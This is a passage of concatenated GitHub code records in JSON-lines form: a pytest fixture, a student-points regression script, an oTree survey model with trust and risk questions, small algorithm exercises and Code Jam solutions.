BibliographicDraftActionResource(\n service=record_draft_service\n ).as_blueprint(\"bibliographic_draft_action_resource\")\n\n app.register_blueprint(record_bp)\n app.register_blueprint(draft_bp)\n app.register_blueprint(draft_action_bp)\n return app\n\n\n@pytest.fixture(scope='function')\ndef vocabulary_clear(app):\n \"\"\"Clears the Vocabulary singleton and pushes an application context.\n\n NOTE: app fixture pushes an application context\n \"\"\"\n Vocabularies.clear()\n","repo_name":"slint/invenio-rdm-records","sub_path":"tests/services/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"38399487969","text":"import sys\nimport matplotlib.pyplot as plt\nimport plotly.plotly as py\nfrom sklearn import linear_model\nfrom datetime import datetime\nfrom dateutil.parser import parse\nimport numpy as np\nimport matplotlib.dates as mdates\nimport matplotlib.cbook as cbook\nimport matplotlib.patches as mpatches\nfrom sklearn import datasets\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport calendar\n\nfrom numpy import dot\nfrom numpy.linalg import solve\nfrom numpy.polynomial.polynomial import Polynomial as P, polyvander as V\nfrom scipy.linalg import qr \nfrom scipy.stats import linregress\n\n\nmonths = mdates.MonthLocator()\ndays = mdates.DayLocator()\nmonthsFmt = mdates.DateFormatter('%m')\ndaysFmt = mdates.DateFormatter('%m-%d')\n\nt = []\nc = []\ns = []\nchange = []\ncur_student = \"\"\nwith open(sys.argv[1], 'r') as f:\n line = f.readline()\n is_t = False\n is_c = False\n is_s = False\n is_change = False\n line_no = 1\n while line:\n if(\"timestamps\" in line):\n is_t = True\n is_c = False\n is_s = False \n is_change = False\n line = f.readline()\n continue\n if(\"class\" in line):\n is_t = False\n is_c = True\n is_s = False \n is_change = False\n line = f.readline()\n continue\n if('@' in line):\n is_t = False\n is_c = False\n is_s = True \n is_change = False\n cur_student = \"sample student\"\n line = f.readline()\n continue\n if('change' in line):\n is_t = False\n is_c = False\n is_s = False \n is_change = True\n line = f.readline()\n continue\n if(is_t):\n date_line = parse(line)\n t.append(date_line)\n elif(is_c):\n c.append(float(line))\n elif(is_s):\n s.append(float(line))\n elif(is_change):\n change.append(line.strip())\n line = f.readline()\n line_no += 1 \n\n''' matplotlib and other things\nfig, ax = plt.subplots()\n\n## print separate components here\ncolor_dict = {'MPs': '#ffa659',\n 'lectures': '#f2ccff',\n 'extra': '#969696',\n 'homework': '#fcc5b8',\n 'quizzes': '#fff963',\n 'labs': '#8eff90',\n 'exams': '#28acff',\n 'class': '#1c0623'}\n\n\nax.plot(t, c, color=color_dict['class'])\nfor i in range(len(s)):\n start = i\n end = -1\n start_label = change[start]\n for j in range(start, len(s)):\n if(start_label == '0'):\n if(change[j] != 0):\n start_label = change[j]\n elif(start_label == change[j]):\n pass\n else:\n end = j\n i = j\n j = len(s)\n if(start_label == '0' and i == (len(s) - 1) or end == -1):\n print(\"ah\")\n else:\n print((start, end))\n ax.plot(t[start:end], s[start:end], color=color_dict[start_label])\n\nlecture_patch = mpatches.Patch(color=color_dict['lectures'], label='lectures')\nextra_patch = mpatches.Patch(color=color_dict['extra'], label='extra')\nhomework_patch = mpatches.Patch(color=color_dict['homework'], label='homework')\nquizzes_patch = mpatches.Patch(color=color_dict['quizzes'], label='quizzes')\nlabs_patch = mpatches.Patch(color=color_dict['labs'], label='labs')\nexams_patch = mpatches.Patch(color=color_dict['exams'], label='exams')\nMPs_patch = mpatches.Patch(color=color_dict['MPs'], label='MPs')\nclass_patch = mpatches.Patch(color=color_dict['class'], label='class total available points')\nax.legend(loc=\"upper left\", handles=[lecture_patch, extra_patch, homework_patch, quizzes_patch, labs_patch, exams_patch, MPs_patch, class_patch])\n# format the ticks\nax.xaxis.set_major_locator(months)\nax.xaxis.set_major_formatter(monthsFmt)\nax.xaxis.set_minor_locator(plt.MaxNLocator(10))\n# ax.xaxis.set_minor_locator(days)\nax.xaxis.set_minor_formatter(daysFmt)\n\nax.format_xdata = mdates.DateFormatter('%Y-%m-%d')\nax.grid(True)\n\n# ax.legend([\"class\", cur_student], loc=\"upper left\")\n\n'''\n# regression stuff\ndef getBestRegressionScore(cur_num_line, t, s):\n if(cur_num_line == 1):\n return getBestRegressionScore_1(t, s)\n elif(cur_num_line == 2):\n return getBestRegressionScore_2(t, s)\n\ndef getBestRegressionScore_1(t, s):\n regr = linear_model.LinearRegression()\n regr.fit(t, s)\n regr_y = regr.predict(t)\n return [r2_score(s, regr_y), -1]\n\ndef getBestRegressionScore_2(t, s):\n best_score = 0\n best_split = -1\n best_shifter = 0\n for cur_split_index in range(10, len(t) - 10):\n\n regr = linear_model.LinearRegression(fit_intercept = True)\n regr.fit(t[:cur_split_index], s[:cur_split_index])\n regr_y = regr.predict(t[:cur_split_index])\n left_score = r2_score(s[:cur_split_index], regr_y)\n\n \n shifter = regr_y[len(regr_y) - 1]\n regr = linear_model.LinearRegression(fit_intercept = False)\n regr.fit(t[cur_split_index:], s[cur_split_index:] - shifter)\n regr_y = regr.predict(t[cur_split_index:])\n right_score = r2_score(s[cur_split_index:], regr_y + shifter)\n \n cur_score = (left_score + right_score) / 2\n # print(cur_score)\n if(cur_score > best_score):\n best_score = cur_score\n best_split = cur_split_index\n best_shifter = shifter\n return [best_score, best_split]\n\ndef getRegressionScore(cur_split_index, nor_t, s):\n print(nor_t[cur_split_index:])\n print(s[cur_split_index:])\n res = linregress(nor_t[cur_split_index:], s[cur_split_index:])\n return res\n '''\n return r2_score(flat_t[cur_split_index:], s[cur_split_index:]) \n '''\n\ndef checkDeviation(s):\n baseline = s[len(s) - 1]\n for cur in s:\n if(abs(cur - baseline) > (baseline * 0.05)):\n return False\n return True \n \n\n\ncur_score = 0.0 \ncur_split_index = len(s) - 1\nnor_t = np.array([calendar.timegm(x.timetuple()) for x in t])\nnor_t = nor_t[:len(s)]\nresult = True\nwhile(result):\n result = checkDeviation(s[cur_split_index:])\n cur_split_index -= 1\n if(cur_split_index == -1):\n break\n\nif(cur_split_index != -1):\n # matplotlib stuff\n # ax.plot(t[cur_split_index + 2:len(s)], s[cur_split_index + 2:], color='red', linewidth=2)\n print(t[cur_split_index + 2]),\n print(\" \"),\n print(t[len(s) - 1])\n print(\" \"),\n #print(cur_student)\n \n\n\n'''\n\n\nif(cur_split_index == -1):\n regr = linear_model.LinearRegression()\n regr.fit(nor_t, s)\n regr_y = regr.predict(nor_t)\n ax.plot(t[:len(s)], regr_y, color='red', linewidth=2)\nelse:\n regr = linear_model.LinearRegression(fit_intercept = True)\n regr.fit(nor_t[:cur_split_index], s[:cur_split_index])\n print (regr.intercept_)\n regr_left_y = regr.predict(nor_t[:cur_split_index])\n\n \n shifter = regr_left_y[len(regr_left_y) - 1]\n print(regr_left_y)\n regr = linear_model.LinearRegression(fit_intercept = False)\n regr.fit(nor_t[cur_split_index:], s[cur_split_index:] - shifter)\n print (regr.intercept_)\n regr_right_y = regr.predict(nor_t[cur_split_index:]) + shifter\n print (regr_right_y)\n\n ax.plot(t[:cur_split_index], regr_left_y, color='blue', linewidth=2)\n ax.plot(t[cur_split_index:len(s)], regr_right_y, color='red', linewidth=2)\n'''\n\n\n#py.plot_mpl(ax, filename=\"plotly from matplotlib\")\n# plt.show()\n\n\n\n\n","repo_name":"MinhyukPark/Computers-Education-Research","sub_path":"python_scripts/available_points.py","file_name":"available_points.py","file_ext":"py","file_size_in_byte":7416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2228061344","text":"def sort_012(input_list):\n \"\"\"\n Given an input array consisting on only 0, 1, and 2, sort the array in a single traversal.\n\n Args:\n input_list(list): List to be sorted\n \"\"\"\n idx = 0\n for digit in input_list[:]:\n if digit == 0:\n input_list.pop(idx) # O(n)\n input_list.insert(0, digit) # O(n)\n idx += 1\n elif digit == 2:\n input_list.pop(idx) # O(n)\n input_list.append(digit) # O(1)\n else:\n idx += 1\n return input_list\n\n\ndef test_function(test_case):\n sorted_array = sort_012(test_case)\n print(sorted_array)\n if sorted_array == sorted(test_case):\n print(\"Pass\")\n else:\n print(\"Fail\")\n\n\ntest_function([0, 0, 2, 2, 2, 1, 1, 1, 2, 0, 2])\ntest_function([2, 1, 2, 0, 0, 2, 1, 0, 1, 0, 0, 2, 2, 2, 1, 2, 0, 0, 0, 2, 1, 0, 2, 0, 0, 1])\ntest_function([0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2])\ntest_function([2, 2, 2, 2, 2, 2, 2])\ntest_function([1, 1, 1, 1, 1, 1])\ntest_function([0, 0, 0, 0, 0, 0])\ntest_function([])\n\n# runtime = worst case O(n²) - single traversal","repo_name":"fbesserer/DataStructuresAndAlgorithms-Problemset2","sub_path":"problem_4_dutch_national_flag.py","file_name":"problem_4_dutch_national_flag.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26045611864","text":"from otree.api import (\r\n models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer,\r\n Currency as c, currency_range\r\n)\r\n\r\n\r\nauthor = 'Your name here'\r\n\r\ndoc = \"\"\"\r\nYour app description\r\n\"\"\"\r\n\r\n\r\nclass Constants(BaseConstants):\r\n name_in_url = 'survey_final'\r\n players_per_group = None\r\n num_rounds = 1\r\n\r\n\r\nclass Subsession(BaseSubsession):\r\n pass\r\n\r\n\r\nclass Group(BaseGroup):\r\n pass\r\n\r\n\r\nclass Player(BasePlayer):\n\n trust_1 = models.CharField(\n verbose_name = \"1. Generally speaking, would you say that most people can be trusted or that you need to be very careful in dealing with people? (Code one answer):\",\n choices = [\n \"Most people can be trusted\",\n \"Need to be very careful\"\n ],\n widget = widgets.RadioSelect(),\n )\n \n trust_2 = models.CharField(\n verbose_name = \"2. Do you think most people would try to take advantage of you if they got the chance, or would they try to be fair?\",\n choices = [\n \"Most of the time they would try to be fair\",\n \"Most of the time they would try to take advantage\"\n ],\n widget = widgets.RadioSelect(),\n )\n\n trust_3 = models.CharField(\n verbose_name = \"3. Would you say that most of the time people try to be helpful, or that they are mostly just looking out for themselves?\",\n choices = [\n \"Most of the time people are helpful\",\n \"Most of the time they are just looking out for themselves\"\n ],\n widget = widgets.RadioSelect(),\n )\n \n trust_4 = models.PositiveIntegerField(\n verbose_name = \"4. Suppose you left your wallet with $50 on Campus. On a scale of 1 to 10, what are the chances that you will get it back?\",\n choices = [\r\n [1, \"1\"],\r\n [2, \"2\"],\r\n [3, \"3\"],\r\n [4, \"4\"],\r\n [5, \"5\"],\r\n [6, \"6\"],\r\n [7, \"7\"],\r\n [8, \"8\"],\r\n [9, \"9\"],\r\n [10, \"10\"],\r\n ],\n widget = widgets.RadioSelectHorizontal(),\n )\n \n \r\n # Question 13\r\n# q13a_transportation = models.CharField(\r\n# verbose_name = \"Used public transportation\",\r\n# choices = [\r\n# 'Never',\r\n# 'Once a year',\r\n# 'A couple of times a year',\r\n# 'A few times a month',\r\n# '1-2 times a week',\r\n# 'A couple of times a week',\r\n# 'Once a day',\r\n# 'More than once a day', \r\n# ],\r\n# widget = widgets.RadioSelectHorizontal(), \r\n# )\r\n q13b_volunteer = models.CharField(\r\n verbose_name = \"Performed volunteer work\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(), \r\n )\r\n q13c_donations = models.CharField(\r\n verbose_name = \"Helped raise donations (e.g., money, books) for a cause or campaign\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(), \r\n )\r\n q13d_discussPolitics = models.CharField(\r\n verbose_name = \"Discussed politics\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(),\r\n )\r\n q13e_communicate = models.CharField(\r\n verbose_name = \"Publicly communicated your opinion about a cause (e.g., blog, email, petition)\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(), \r\n )\r\n q13f_demonstrate = models.CharField(\r\n verbose_name = \"Demonstrated for a cause (e.g., boycott, rally, protest)\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(), \r\n )\r\n q13g_elections = models.CharField(\r\n verbose_name = \"Voted in elections\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(), \r\n )\r\n q13h_risk = models.CharField(\r\n verbose_name = \"Taken a risk because you feel you have more to gain\",\r\n choices = [\r\n 'Never',\r\n 'Once a year',\r\n 'A couple of times a year',\r\n 'A few times a month',\r\n '1-2 times a week',\r\n 'A couple of times a week',\r\n 'Once a day',\r\n 'More than once a day', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(), \r\n )\r\n \r\n # Question 14\r\n ## Added Programmatically Below.\r\n q14_l_networking_otherPrint = models.CharField(\r\n blank = True \r\n )\r\n\r\n # Question 15\r\n q15a_ethics_wealth = models.CharField(\r\n verbose_name = \"Wealthy people should pay a larger share of taxes than they do now\",\r\n choices = [\r\n 'Prefer not to answer',\r\n 'No Opinion',\r\n 'Srongly Disagree',\r\n 'Disagree Somewhat',\r\n 'Indifferent',\r\n 'Agree Somewhat',\r\n 'Strongly Agree', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(),\r\n )\r\n q15b_ethics_climate = models.CharField(\r\n verbose_name = \"Addressing global climate change should be a federal priority\",\r\n choices = [\r\n 'Prefer not to answer',\r\n 'No Opinion',\r\n 'Srongly Disagree',\r\n 'Disagree Somewhat',\r\n 'Indifferent',\r\n 'Agree Somewhat',\r\n 'Strongly Agree', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(),\r\n )\r\n q15c_ethics_gunControl = models.CharField(\r\n verbose_name = \"The federal government should have stricter gun control laws\",\r\n choices = [\r\n 'Prefer not to answer',\r\n 'No Opinion',\r\n 'Srongly Disagree',\r\n 'Disagree Somewhat',\r\n 'Indifferent',\r\n 'Agree Somewhat',\r\n 'Strongly Agree', \r\n ],\r\n widget = widgets.RadioSelectHorizontal(),\r\n )\r\n# q15d_ethics_admissions = models.CharField(\r\n# verbose_name = \"Affirmative action in college admissions should be abolished\",\r\n# choices = [\r\n# 'Srongly Disagree',\r\n# 'Disagree Somewhat',\r\n# 'Indifferent',\r\n# 'Agree Somewhat',\r\n# 'Strongly Agree',\r\n# 'No Opinion',\r\n# 'Prefer not to answer', \r\n# ],\r\n# widget = widgets.RadioSelectHorizontal(),\r\n# )\r\n# q15e_ethics_taxes = models.CharField(\r\n# verbose_name = \"The federal government should raise taxes to reduce the deficit\",\r\n# choices = [\r\n# 'Srongly Disagree',\r\n# 'Disagree Somewhat',\r\n# 'Indifferent',\r\n# 'Agree Somewhat',\r\n# 'Strongly Agree',\r\n# 'No Opinion',\r\n# 'Prefer not to answer', \r\n# ],\r\n# widget = widgets.RadioSelectHorizontal(),\r\n# )\r\n \r\n \r\n # start behavioral questions\r\n # start preference elicitation\r\n daringness = models.PositiveIntegerField(\r\n verbose_name = \"How do you see yourself? Are you a person who is generally willing to take risks, or do you try to avoid taking risks? Please indicate your answer on a scale from 0 to 10, where a 0 means \\\"not at all willing to take risks\\\", and a 10 means \\\"very willing to take risks\\\". You can also use the values in between to indicate where you fall on the scale.\",\r\n choices = [\r\n [1, \"1\"],\r\n [2, \"2\"],\r\n [3, \"3\"],\r\n [4, \"4\"],\r\n [5, \"5\"],\r\n [6, \"6\"],\r\n [7, \"7\"],\r\n [8, \"8\"],\r\n [9, \"9\"],\r\n [10, \"10\"],\r\n ],\r\n widget = widgets.RadioSelectHorizontal,\r\n )\r\n \r\n risky_project = models.PositiveIntegerField(\r\n verbose_name = \"How do you see yourself? In comparison to others are you a person who is generally willing to give up something today in order to benefit from that in the future, or are you not willing to do so in comparison to others? Please indicate your answer on a scale from 0 to 10, where a 0 means \\\"not at all willing to give up something\\\", and a 10 means \\\"very willing to give up something\\\". You can use the values in between to indicate where you fall on the scale.\",\r\n min=0, \r\n max=100,\r\n )\r\n \r\n risky_project_outcome = models.BooleanField(blank=True)\r\n \r\n risky_project_2 = models.PositiveIntegerField(\r\n verbose_name = \"How do you see yourself? In comparison to others are you a person who is generally willing to give up something today in order to benefit from that in the future, or are you not willing to do so in comparison to others? Please indicate your answer on a scale from 0 to 10, where a 0 means \\\"not at all willing to give up something\\\", and a 10 means \\\"very willing to give up something\\\". You can use the values in between to indicate where you fall on the scale.\",\r\n min=0, \r\n max=100,\r\n )\r\n \r\n risky_project_outcome_2 = models.BooleanField(blank=True)\r\n \r\n # end preference elicitation\r\n \r\n # start preference module ii\r\n coinScenerio_1 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"0$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_2 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"10$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_3 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"20$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_4 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"30$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_5 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"40$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_6 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"50$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_7 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"60$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_8 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"70$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_9 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"80$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_10 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"90$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_11 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"100$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_12 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"110$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_13 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"120$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_14 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"130$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_15 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"140$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_16 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"150$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_17 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"160$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_18 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"170$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_19 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"180$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_20 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"190$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_21 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"200$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_22 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"210$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_23 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"220$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_24 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"230$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_25 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"240$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_26 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"250$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_27 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"260$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_28 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"270$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_29 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"280$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_30 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"290$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n\r\n coinScenerio_31 = models.PositiveIntegerField(\r\n choices = [\r\n [1, \"Tail = 300$ Head = 0$\"],\r\n [2, \"300$\"],\r\n ],\r\n widget = widgets.RadioSelect,\r\n )\r\n # end preference module ii\r\n\r\n\r\ncolumns = [\r\n 'Facebook',\r\n 'Twitter',\r\n 'LinkedIn',\r\n 'Instagram',\r\n 'Reddit',\r\n 'WhatsApp',\r\n 'Meetup',\r\n 'Nextdoor',\r\n 'Snapchat',\r\n 'Weibo',\r\n 'WeChat', \r\n ]\r\n \r\nrows = [\r\n (\"prof_network\", \"Professional networking\"),\r\n (\"soc_network\", \"Social networking\"),\r\n (\"xchng_info\", \"Exchange of information with peers and family\"),\r\n (\"soc_events\",\"Organize and/or attend social events\"),\r\n (\"pol_events\",\"Organize and/or attend political events\"),\r\n (\"news_info\", \"News and information about people and places\"),\r\n (\"job\", \"Job seeking\"),\r\n (\"money\", \"To make money\"),\r\n (\"games\", \"To play games\"),\r\n (\"research\", \"Research\"),\r\n# (\"other\", \"Other\"),\r\n (\"used_sites\",\"Select the sites that you use a couple of times a week\"),\r\n]\r\n\r\ni = 0\r\nfor r in rows:\r\n for c in columns:\r\n i += 1\r\n field_name = 'q14_{}_{}X{}'.format(i, r[0], c) \r\n Player.add_to_class(field_name, models.BooleanField(\r\n verbose_name = r[1],\r\n widget = widgets.CheckboxInput(),\r\n ))\r\n\r\n","repo_name":"SDALMinerva/coordination-game","sub_path":"survey_final/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":18213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4497248563","text":"m = int(input())\ni = list(map(int,input().split()))\nc = 1\nl = []\nwhile 1:\n\tif c**2 > m:\n\t\tbreak\n\telse:\n\t\tif c**2 not in i:\n\t\t\tl.append(c**2)\n\tc+=1\nprint(l)","repo_name":"shubham2704/competetive_coding","sub_path":"codewars/wholeSquared.py","file_name":"wholeSquared.py","file_ext":"py","file_size_in_byte":155,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"33927314617","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 19 14:16:38 2020\r\n\r\n@author: saura\r\n\"\"\"\r\nmy_dict = {num:num**2 for num in range(1,11)}\r\nprint(my_dict)\r\n\r\nrandom_dict = {\r\n 'a': 1,\r\n 'b': 2,\r\n 'c': 3,\r\n 'd': 4\r\n }\r\n\r\nmy_new_dict = {k:v**2 for k,v in random_dict.items()}\r\nprint(my_new_dict)\r\n\r\nmy_new_dict2 = {k:v**2 for k,v in random_dict.items() if v % 2 == 0}\r\nprint(my_new_dict2)\r\n","repo_name":"saurabh618/All-Python-codes-of-ZTM-course-by-Andrei-Neagoie","sub_path":"Functional Programming/dict_comprehension.py","file_name":"dict_comprehension.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":1041,"dataset":"github-code","pt":"61"} +{"seq_id":"23390850921","text":"from math import sqrt\r\nf = open(r'C-small-attempt0.in', 'r')\r\ng = open(r'outputC.out', 'w')\r\nt = int(f.readline())\r\nseen = set()\r\nfor i in range(1, t+1):\r\n g.write(\"Case #\"+str(i)+\": \")\r\n k = f.readline().split()\r\n counter = 0\r\n for j in range(int(k[0]), int(k[1])+1):\r\n if j in seen:\r\n counter += 1\r\n elif (str(j)==str(j)[::-1]):\r\n l = int(sqrt(j))\r\n s = str(l)\r\n if (l**2 == j) and (s == s[::-1]):\r\n seen.add(j)\r\n counter += 1\r\n g.write(str(counter)+\"\\n\")\r\nf.close()\r\ng.close()\r\n \r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/1143.py","file_name":"1143.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23584630451","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nFor small case\r\n\"\"\"\r\n\r\nfrom __future__ import print_function, division\r\nimport sys\r\nif sys.version > '3':\r\n from past.builtins import xrange, raw_input\r\n \r\nimport math\r\n \r\nf = open('C-small.in', 'r')\r\nout = open('answer.txt', 'w+')\r\n\r\nt = int(f.readline())\r\nfor i in xrange(t):\r\n n, q = (int(ch) for ch in f.readline().split())\r\n e, s = [], []\r\n for j in xrange(n):\r\n tmp_e, tmp_s = (int(ch) for ch in f.readline().split())\r\n e.append(tmp_e)\r\n s.append(tmp_s)\r\n time = [math.inf for j in xrange(n)]\r\n cur_e, cur_s = e[0], s[0]\r\n distance = [0]\r\n time[0] = 0\r\n for j in xrange(n):\r\n matrix = [int(ch) for ch in f.readline().split()]\r\n if j < n - 1:\r\n distance.append(matrix[j + 1])\r\n for j in xrange(1, n):\r\n distance[j] += distance[j - 1]\r\n for j in xrange(1, n):\r\n for k in xrange(0, j):\r\n if e[k] >= distance[j] - distance[k]:\r\n time[j] = min(time[j], time[k] + (distance[j] - distance[k]) / s[k])\r\n #print(time,distance, e, s) \r\n for j in xrange(q):\r\n tmp_u, tmp_v = (int(ch) for ch in f.readline().split())\r\n out.write('Case #' + str(i + 1) + ': ' + \"{:.8f}\".format(time[n - 1]) +'\\n')\r\n\r\nf.close()\r\nout.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_208/216.py","file_name":"216.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11493903531","text":"from stack import Stack\n\n\nclass Queue(object):\n \"\"\"\n Implement a queue using two stacks. Recall that 